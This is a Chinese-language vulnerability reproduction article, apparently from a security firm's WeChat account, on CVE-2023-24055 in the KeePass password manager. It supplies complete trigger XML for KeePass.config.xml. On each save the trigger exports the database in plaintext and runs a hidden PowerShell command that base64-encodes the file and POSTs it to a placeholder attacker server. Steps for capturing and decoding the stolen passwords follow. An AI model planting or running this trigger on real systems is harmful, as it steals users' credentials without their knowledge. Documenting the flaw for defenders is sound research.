由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
关于KeePass
KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。
漏洞概述
对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。
利用前提
对 KeePass 配置文件具有写入权限。
复现环境
KeePass:2.46
OS:Ubuntu 20.04 LTS x64
WEB:Apache2
触发器值的设定
触发器示例:
https://keepass.info/help/kb/trigger_examples.html
Name: name
Events: Saved database file | [Equals]
Conditions: <empty>
Actions:
(1) Export active database
File/URL: c:UsersxxxAppDataLocalTempexploit.xml(会在对应的目录生成exploit.xml文件,里面存放着明文密码)
File/Fortmat: KeePass XML (2.x)
(2) Execute command line / URL
File/URL: PowerShell.exe
Arguments: -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:UsersxxxAppDataLocalTempexploit.xml')))
Window style: Hidden
漏洞复现
打开KeePass 配置文件:KeePass.config.xml,并写入相应的触发器代码
触发器参考代码如下:
<TriggerSystem>
<Triggers>
<Trigger>
<Guid>UVa+fd1Qr0KAcynoacKFKw==</Guid>
<Name>Trigger</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>`C:UsersxxxAppDataLocalTempexploit.xml`</Parameter>
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c Invoke-WebRequest -uri http://server_addr/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:UsersxxxAppDataLocalTempexploit.xml')))</Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
</TriggerSystem>
在服务器启动web服务,并使用tcpdump抓包(可以根据个人喜好获取数据包,生成的exploit.xml也是保存有明文密码的)。
打开KeePass,生成一个密码并保存。
将服务器抓取到的数据包打开,可以获得带有base64加密密文的数据包。
将数据包解密,就能得到KeePass保存的密码。
本地测试添加触发器
本地测试是可以直接在KeePass添加触发器,值的设定参考前面的内容,测试更方便。
参考链接
https://github.com/alt3kx/CVE-2023-24055_PoC
https://sourceforge.net/p/keepass/discussion/329220/thread/a146e5cf6b/
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
长按识别二维码关注我们
原文始发于微信公众号(雷神众测):CVE-2023-24055 Keepass密码管理工具漏洞复现